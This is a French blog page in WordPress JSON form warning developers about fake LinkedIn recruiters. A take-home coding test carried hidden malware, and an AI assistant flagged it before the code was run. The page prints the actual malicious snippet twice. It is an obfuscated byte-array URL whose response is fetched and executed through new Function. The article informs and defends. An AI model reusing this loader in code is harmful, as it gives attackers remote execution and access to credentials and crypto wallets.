﻿﻿{"id":1410,"date":"2025-10-17T11:43:54","date_gmt":"2025-10-17T09:43:54","guid":{"rendered":"https:\/\/elearningsamba.com\/index.php\/attention-au-piege-du-faux-recruteur-linkedin\/"},"modified":"2025-10-17T11:43:54","modified_gmt":"2025-10-17T09:43:54","slug":"attention-au-piege-du-faux-recruteur-linkedin","status":"publish","type":"page","link":"https:\/\/elearningsamba.com\/index.php\/attention-au-piege-du-faux-recruteur-linkedin\/","title":{"rendered":"Attention au pi\u00e8ge du faux recruteur Linkedin !"},"content":{"rendered":"<p>Vous avez peur que l\u2019IA prenne votre boulot ? Et bien David Dodda, lui, a failli se faire avoir par un faux boulot et c\u2019est son IA qui l\u2019a sauv\u00e9 ! Je vous explique !<\/p>\n<p>Tout commence classiquement sur LinkedIn. David re\u00e7oit un message de Mykola Yanchii, Chief Blockchain Officer chez Symfa, une bo\u00eete qui d\u00e9veloppe des plateformes blockchain. Le profil LinkedIn a l\u2019air b\u00e9ton\u2026 Il a plus de 1000 connexions, une page entreprise nickel, bref tout respire le s\u00e9rieux.<\/p>\n<p>\n<img decoding=\"async\" src=\"https:\/\/korben.info\/cdn-cgi\/image\/width=1200,fit=scale-down,quality=90,f=avif\/faux-entretien-embauche-malware-ia-sauve-developpe\/faux-entretien-embauche-malware-ia-sauve-developpe-2.png\" alt=\"\" loading=\"lazy\">\n<\/p>\n<p>Et son message est pro, poli, et propose \u00e0 David un poste \u00e0 temps partiel sur BestCity, une plateforme immobili\u00e8re. Bref, c\u2019est le genre d\u2019opportunit\u00e9 qu\u2019on ne refuse pas quand on est d\u00e9veloppeur freelance comme David.<\/p>\n<p>Le premier rendez-vous par visio se passe tr\u00e8s bien. Le recruteur connait son sujet, pose les bonnes questions, explique le projet et ensuite, comme dans 99% des processus de recrutement tech, on envoie \u00e0 David un test technique \u00e0 r\u00e9aliser chez lui. Il s\u2019agit d\u2019un projet h\u00e9berg\u00e9 sur Bitbucket, du code React et Node.js bien propre et sa mission c\u2019est de compl\u00e9ter quelques fonctionnalit\u00e9s et renvoyer le tout avant la prochaine r\u00e9union.<\/p>\n<p>Sauf que David, lui, a pris un r\u00e9flexe que peu de gens ont. Avant m\u00eame de lancer npm install, il a demand\u00e9 \u00e0 son assistant IA (Cursor) de scanner le code pour d\u00e9tecter d\u2019\u00e9ventuels patterns suspects. Et l\u00e0, bingo ! L\u2019IA trouve un truc louche dans le fichier server\/controllers\/userController.js.<\/p>\n<p>Il s\u2019agit d\u2019un malware qui \u00e9tait bien planqu\u00e9 dans une fonction asynchrone compl\u00e8tement obfusqu\u00e9e. Un tableau d\u2019octets encod\u00e9 en ASCII qui, une fois d\u00e9cod\u00e9 en UTF-8, r\u00e9v\u00e8le une URL pointant vers une API externe. Et cette URL r\u00e9cup\u00e8re un payload qui est ensuite ex\u00e9cut\u00e9e avec tous les privil\u00e8ges Node.js. Cela d\u00e9bouche \u00e0 sur un acc\u00e8s complet au syst\u00e8me, aux credentials, aux wallets crypto, aux donn\u00e9es clients\u2026etc. Le jackpot pour un attaquant !<\/p>\n<div class=\"highlight\">\n<pre class=\"chroma\"><code class=\"language-gdscript3\" data-lang=\"gdscript3\"><span class=\"line\"><span class=\"cl\"><span class=\"o\">\/\/<\/span><span class=\"n\">Get<\/span> <span class=\"n\">Cookie<\/span>\n<\/span><\/span><span class=\"line\"><span class=\"cl\"><span class=\"p\">(<\/span><span class=\"n\">async<\/span> <span class=\"p\">()<\/span> <span class=\"o\">=&gt;<\/span> <span class=\"p\">{<\/span>\n<\/span><\/span><span class=\"line\"><span class=\"cl\"> <span class=\"k\">const<\/span> <span class=\"n\">byteArray<\/span> <span class=\"o\">=<\/span> <span class=\"p\">[<\/span>\n<\/span><\/span><span class=\"line\"><span class=\"cl\"> <span class=\"mi\">104<\/span><span class=\"p\">,<\/span> <span class=\"mi\">116<\/span><span class=\"p\">,<\/span> <span class=\"mi\">116<\/span><span class=\"p\">,<\/span> <span class=\"mi\">112<\/span><span class=\"p\">,<\/span> <span class=\"mi\">115<\/span><span class=\"p\">,<\/span> <span class=\"mi\">58<\/span><span class=\"p\">,<\/span> <span class=\"mi\">47<\/span><span class=\"p\">,<\/span> <span class=\"mi\">47<\/span><span class=\"p\">,<\/span> <span class=\"mi\">97<\/span><span class=\"p\">,<\/span> <span class=\"mi\">112<\/span><span class=\"p\">,<\/span> <span class=\"mi\">105<\/span><span class=\"p\">,<\/span> <span class=\"mi\">46<\/span><span class=\"p\">,<\/span> <span class=\"mi\">110<\/span><span class=\"p\">,<\/span> <span class=\"mi\">112<\/span><span class=\"p\">,<\/span> <span class=\"mi\">111<\/span><span class=\"p\">,<\/span> <span class=\"mi\">105<\/span><span class=\"p\">,<\/span>\n<\/span><\/span><span class=\"line\"><span class=\"cl\"> <span class=\"mi\">110<\/span><span class=\"p\">,<\/span> <span class=\"mi\">116<\/span><span class=\"p\">,<\/span> <span class=\"mi\">46<\/span><span class=\"p\">,<\/span> <span class=\"mi\">105<\/span><span class=\"p\">,<\/span> <span class=\"mi\">111<\/span><span class=\"p\">,<\/span> <span class=\"mi\">47<\/span><span class=\"p\">,<\/span> <span class=\"mi\">50<\/span><span class=\"p\">,<\/span> <span class=\"mi\">99<\/span><span class=\"p\">,<\/span> <span class=\"mi\">52<\/span><span class=\"p\">,<\/span> <span class=\"mi\">53<\/span><span class=\"p\">,<\/span> <span class=\"mi\">56<\/span><span class=\"p\">,<\/span> <span class=\"mi\">54<\/span><span class=\"p\">,<\/span> <span class=\"mi\">49<\/span><span class=\"p\">,<\/span> <span class=\"mi\">50<\/span><span class=\"p\">,<\/span> <span class=\"mi\">51<\/span><span class=\"p\">,<\/span> <span class=\"mi\">57<\/span><span class=\"p\">,<\/span> <span class=\"mi\">99<\/span><span class=\"p\">,<\/span> <span class=\"mi\">51<\/span><span class=\"p\">,<\/span>\n<\/span><\/span><span class=\"line\"><span class=\"cl\"> <span class=\"mi\">98<\/span><span class=\"p\">,<\/span> <span class=\"mi\">50<\/span><span class=\"p\">,<\/span> <span class=\"mi\">48<\/span><span class=\"p\">,<\/span> <span class=\"mi\">51<\/span><span class=\"p\">,<\/span> <span class=\"mi\">49<\/span><span class=\"p\">,<\/span> <span class=\"mi\">102<\/span><span class=\"p\">,<\/span> <span class=\"mi\">98<\/span><span class=\"p\">,<\/span> <span class=\"mi\">57<\/span>\n<\/span><\/span><span class=\"line\"><span class=\"cl\"> <span class=\"p\">];<\/span>\n<\/span><\/span><span class=\"line\"><span class=\"cl\"> <span class=\"k\">const<\/span> <span class=\"n\">uint8Array<\/span> <span class=\"o\">=<\/span> <span class=\"n\">new<\/span> <span class=\"n\">Uint8Array<\/span><span class=\"p\">(<\/span><span class=\"n\">byteArray<\/span><span class=\"p\">);<\/span>\n<\/span><\/span><span class=\"line\"><span class=\"cl\"> <span class=\"k\">const<\/span> <span class=\"n\">decoder<\/span> <span class=\"o\">=<\/span> <span class=\"n\">new<\/span> <span class=\"n\">TextDecoder<\/span><span class=\"p\">(<\/span><span class=\"s1\">'utf-8'<\/span><span class=\"p\">);<\/span>\n<\/span><\/span><span class=\"line\"><span class=\"cl\"> <span class=\"n\">axios<\/span><span class=\"o\">.<\/span><span class=\"n\">get<\/span><span class=\"p\">(<\/span><span class=\"n\">decoder<\/span><span class=\"o\">.<\/span><span class=\"n\">decode<\/span><span class=\"p\">(<\/span><span class=\"n\">uint8Array<\/span><span class=\"p\">))<\/span>\n<\/span><\/span><span class=\"line\"><span class=\"cl\"> <span class=\"o\">.<\/span><span class=\"n\">then<\/span><span class=\"p\">(<\/span><span class=\"n\">response<\/span> <span class=\"o\">=&gt;<\/span> <span class=\"p\">{<\/span>\n<\/span><\/span><span class=\"line\"><span class=\"cl\"> <span class=\"n\">new<\/span> <span class=\"n\">Function<\/span><span class=\"p\">(<\/span><span class=\"s2\">\"require\"<\/span><span class=\"p\">,<\/span> <span class=\"n\">response<\/span><span class=\"o\">.<\/span><span class=\"n\">data<\/span><span class=\"o\">.<\/span><span class=\"n\">model<\/span><span class=\"p\">)(<\/span><span class=\"n\">require<\/span><span class=\"p\">);<\/span>\n<\/span><\/span><span class=\"line\"><span class=\"cl\"> <span class=\"p\">})<\/span>\n<\/span><\/span><span class=\"line\"><span class=\"cl\"> <span class=\"o\">.<\/span><span class=\"n\">catch<\/span><span class=\"p\">(<\/span><span class=\"n\">error<\/span> <span class=\"o\">=&gt;<\/span> <span class=\"p\">{<\/span> <span class=\"p\">});<\/span>\n<\/span><\/span><span class=\"line\"><span class=\"cl\"><span class=\"p\">})();<\/span>\n<\/span><\/span><\/code><\/pre>\n<p>Et le truc flippant, c\u2019est le niveau de sophistication de l\u2019op\u00e9ration car l\u00e0 on n\u2019a pas affaire \u00e0 un script kiddie qui balance un trojan par email. Non, c\u2019est une vraie infrastructure professionnelle avec un profil LinkedIn premium, un Calendly pour la prise de rendez-vous, un Bitbucket priv\u00e9, du code source propre et fonctionnel (hormis le malware planqu\u00e9). Et surtout, l\u2019URL du malware est devenue HS 24 heures \u00e0 peine apr\u00e8s l\u2019attaque. C\u2019est donc une infrastructure \u00e9ph\u00e9m\u00e8re qui laisse z\u00e9ro trace.<\/p>\n<p>Si je relaye ce t\u00e9moignage de David c\u2019est parce que ce genre d\u2019attaque se multiplie. Ce n\u2019est pas un cas isol\u00e9\u2026 Par exemple<br \/>\n<a href=\"https:\/\/korben.info\/lazarus-group-hackers-secrets-coree-nord.html\">le groupe nord-cor\u00e9en Lazarus<\/a><br \/>\nutilise cette technique depuis des mois, en cr\u00e9ant de fausses entreprises crypto, de faux profils de recruteurs sur LinkedIn, Upwork, Freelancer, et en ciblant sp\u00e9cifiquement les d\u00e9veloppeurs. Le malware d\u00e9ploy\u00e9 s\u2019appelle BeaverTail, et il installe ensuite un backdoor Python baptis\u00e9 InvisibleFerret qui fonctionne sur Windows, Linux et macOS. Ce truc vise surtout les extensions de navigateur comme MetaMask ou Coinbase Wallet, r\u00e9cup\u00e8re tous les mots de passe stock\u00e9s, et collecte tout ce qui traine.<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/korben.info\/cdn-cgi\/image\/width=1200,fit=scale-down,quality=90,f=avif\/faux-entretien-embauche-malware-ia-sauve-developpe\/faux-entretien-embauche-malware-ia-sauve-developpe-3.png\" alt=\"\" loading=\"lazy\"><\/p>\n<p>Alors pourquoi \u00e7a marche aussi bien ?<\/p>\n<p>H\u00e9 bien parce que les hackers exploitent nos biais cognitifs. L\u2019ambition de d\u00e9crocher un bon job, la politesse pour ne pas vexer un recruteur, l\u2019urgence cr\u00e9\u00e9e artificiellement pour qu\u2019on ne prenne pas le temps de r\u00e9fl\u00e9chir, la peur de rater une opportunit\u00e9. Bref, toutes ces \u00e9motions qui court-circuitent notre esprit critique.<\/p>\n<p>Heureusement que David a lanc\u00e9 une analyse IA du code sinon, il aurait eu de gros probl\u00e8mes. \u00c7a prend 30 secondes comme geste barri\u00e8re et \u00e7a peut vous sauver des milliers d\u2019euros et des centaines d\u2019heures de gal\u00e8re.<\/p>\n<p>Si David n\u2019avait pas eu ce r\u00e9flexe, il aurait lanc\u00e9 npm install, puis npm start, et le malware se serait ex\u00e9cut\u00e9 en arri\u00e8re-plan pendant qu\u2019il codait tranquillement ses fonctionnalit\u00e9s. L\u2019attaquant aurait alors eu acc\u00e8s \u00e0 tout : Ses identifiants GitHub, ses cl\u00e9s SSH, ses tokens d\u2019API, ses wallets crypto si il en a et peut-\u00eatre m\u00eame les donn\u00e9es de ses clients. Le cauchemar absolu.<\/p>\n<p>Voil\u00e0, donc m\u00e9fiez vous de ce qui arrive via des plateformes de recrutement, on ne sait jamais ! Vous n\u2019aurez peut \u00eatre pas le job mais vous garderez votre ordinateur propre, vous conserverez vos cryptos, vos mots de passe et vos clients et \u00e7a c\u2019est d\u00e9j\u00e0 pas si mal !<\/p>\n<p>\n<a href=\"https:\/\/blog.daviddodda.com\/how-i-almost-got-hacked-by-a-job-interview\">Source<\/a>\n<\/p>\n<\/div>\n","protected":false},"excerpt":{"rendered":"<p>Vous avez peur que l\u2019IA prenne votre boulot ? Et bien David Dodda, lui, a failli se faire avoir par un faux boulot et c\u2019est son IA qui l\u2019a sauv\u00e9 ! Je vous explique ! Tout commence classiquement sur LinkedIn. David re\u00e7oit un message de Mykola Yanchii, Chief Blockchain Officer chez Symfa, une bo\u00eete qui d\u00e9veloppe des plateformes blockchain. Le profil LinkedIn a l\u2019air b\u00e9ton\u2026 Il a plus de 1000 connexions, une page entreprise nickel, bref tout respire le s\u00e9rieux. Et son message est pro, poli, et propose \u00e0 David un poste \u00e0 temps partiel sur BestCity, une plateforme immobili\u00e8re. Bref, c\u2019est le genre d\u2019opportunit\u00e9 qu\u2019on ne refuse pas quand on est d\u00e9veloppeur freelance comme David. Le premier rendez-vous par visio se passe tr\u00e8s bien. Le recruteur connait son sujet, pose les bonnes questions, explique le projet et ensuite, comme dans 99% des processus de recrutement tech, on envoie \u00e0 David un test technique \u00e0 r\u00e9aliser chez lui. Il s\u2019agit d\u2019un projet h\u00e9berg\u00e9 sur Bitbucket, du code React et Node.js bien propre et sa mission c\u2019est de compl\u00e9ter quelques fonctionnalit\u00e9s et renvoyer le tout avant la prochaine r\u00e9union. Sauf que David, lui, a pris un r\u00e9flexe que peu de gens ont. Avant m\u00eame de lancer npm install, il a demand\u00e9 \u00e0 son assistant IA (Cursor) de scanner le code pour d\u00e9tecter d\u2019\u00e9ventuels patterns suspects. Et l\u00e0, bingo ! L\u2019IA trouve un truc louche dans le fichier server\/controllers\/userController.js. Il s\u2019agit d\u2019un malware qui \u00e9tait bien planqu\u00e9 dans une fonction asynchrone compl\u00e8tement obfusqu\u00e9e. Un tableau d\u2019octets encod\u00e9 en ASCII qui, une fois d\u00e9cod\u00e9 en UTF-8, r\u00e9v\u00e8le une URL pointant vers une API externe. Et cette URL r\u00e9cup\u00e8re un payload qui est ensuite ex\u00e9cut\u00e9e avec tous les privil\u00e8ges Node.js. Cela d\u00e9bouche \u00e0 sur un acc\u00e8s complet au syst\u00e8me, aux credentials, aux wallets crypto, aux donn\u00e9es clients\u2026etc. Le jackpot pour un attaquant ! \/\/Get Cookie (async () =&gt; { const byteArray = [ 104, 116, 116, 112, 115, 58, 47, 47, 97, 112, 105, 46, 110, 112, 111, 105, 110, 116, 46, 105, 111, 47, 50, 99, 52, 53, 56, 54, 49, 50, 51, 57, 99, 51, 98, 50, 48, 51, 49, 102, 98, 57 ]; const uint8Array = new Uint8Array(byteArray); const decoder = new TextDecoder(&#8216;utf-8&#8217;); axios.get(decoder.decode(uint8Array)) .then(response =&gt; { new Function(&#8220;require&#8221;, response.data.model)(require); }) .catch(error =&gt; { }); })(); Et le truc flippant, c\u2019est le niveau de sophistication de l\u2019op\u00e9ration car l\u00e0 on n\u2019a pas affaire \u00e0 un script kiddie qui balance un trojan par email. Non, c\u2019est une vraie infrastructure professionnelle avec un profil LinkedIn premium, un Calendly pour la prise de rendez-vous, un Bitbucket priv\u00e9, du code source propre et fonctionnel (hormis le malware planqu\u00e9). Et surtout, l\u2019URL du malware est devenue HS 24 heures \u00e0 peine apr\u00e8s l\u2019attaque. C\u2019est donc une infrastructure \u00e9ph\u00e9m\u00e8re qui laisse z\u00e9ro trace. Si je relaye ce t\u00e9moignage de David c\u2019est parce que ce genre d\u2019attaque se multiplie. Ce n\u2019est pas un cas isol\u00e9\u2026 Par exemple le groupe nord-cor\u00e9en Lazarus utilise cette technique depuis des mois, en cr\u00e9ant de fausses entreprises crypto, de faux profils de recruteurs sur LinkedIn, Upwork, Freelancer, et en ciblant sp\u00e9cifiquement les d\u00e9veloppeurs. Le malware d\u00e9ploy\u00e9 s\u2019appelle BeaverTail, et il installe ensuite un backdoor Python baptis\u00e9 InvisibleFerret qui fonctionne sur Windows, Linux et macOS. Ce truc vise surtout les extensions de navigateur comme MetaMask ou Coinbase Wallet, r\u00e9cup\u00e8re tous les mots de passe stock\u00e9s, et collecte tout ce qui traine. Alors pourquoi \u00e7a marche aussi bien ? H\u00e9 bien parce que les hackers exploitent nos biais cognitifs. L\u2019ambition de d\u00e9crocher un bon job, la politesse pour ne pas vexer un recruteur, l\u2019urgence cr\u00e9\u00e9e artificiellement pour qu\u2019on ne prenne pas le temps de r\u00e9fl\u00e9chir, la peur de rater une opportunit\u00e9. Bref, toutes ces \u00e9motions qui court-circuitent notre esprit critique. Heureusement que David a lanc\u00e9 une analyse IA du code sinon, il aurait eu de gros probl\u00e8mes. \u00c7a prend 30 secondes comme geste barri\u00e8re et \u00e7a peut vous sauver des milliers d\u2019euros et des centaines d\u2019heures de gal\u00e8re. Si David n\u2019avait pas eu ce r\u00e9flexe, il aurait lanc\u00e9 npm install, puis npm start, et le malware se serait ex\u00e9cut\u00e9 en arri\u00e8re-plan pendant qu\u2019il codait tranquillement ses fonctionnalit\u00e9s. L\u2019attaquant aurait alors eu acc\u00e8s \u00e0 tout : Ses identifiants GitHub, ses cl\u00e9s SSH, ses tokens d\u2019API, ses wallets crypto si il en a et peut-\u00eatre m\u00eame les donn\u00e9es de ses clients. Le cauchemar absolu. Voil\u00e0, donc m\u00e9fiez vous de ce qui arrive via des plateformes de recrutement, on ne sait jamais ! Vous n\u2019aurez peut \u00eatre pas le job mais vous garderez votre ordinateur propre, vous conserverez vos cryptos, vos mots de passe et vos clients et \u00e7a c\u2019est d\u00e9j\u00e0 pas si mal ! Source<\/p>\n","protected":false},"author":1,"featured_media":1411,"parent":0,"menu_order":0,"comment_status":"closed","ping_status":"closed","template":"","meta":{"give_campaign_id":0,"_monsterinsights_skip_tracking":false,"_monsterinsights_sitenote_active":false,"_monsterinsights_sitenote_note":"","_monsterinsights_sitenote_category":0,"_kadence_starter_templates_imported_post":false,"footnotes":""},"class_list":["post-1410","page","type-page","status-publish","has-post-thumbnail","hentry"],"campaignId":"","_links":{"self":[{"href":"https:\/\/elearningsamba.com\/index.php\/wp-json\/wp\/v2\/pages\/1410","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/elearningsamba.com\/index.php\/wp-json\/wp\/v2\/pages"}],"about":[{"href":"https:\/\/elearningsamba.com\/index.php\/wp-json\/wp\/v2\/types\/page"}],"author":[{"embeddable":true,"href":"https:\/\/elearningsamba.com\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/elearningsamba.com\/index.php\/wp-json\/wp\/v2\/comments?post=1410"}],"version-history":[{"count":0,"href":"https:\/\/elearningsamba.com\/index.php\/wp-json\/wp\/v2\/pages\/1410\/revisions"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/elearningsamba.com\/index.php\/wp-json\/wp\/v2\/media\/1411"}],"wp:attachment":[{"href":"https:\/\/elearningsamba.com\/index.php\/wp-json\/wp\/v2\/media?parent=1410"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}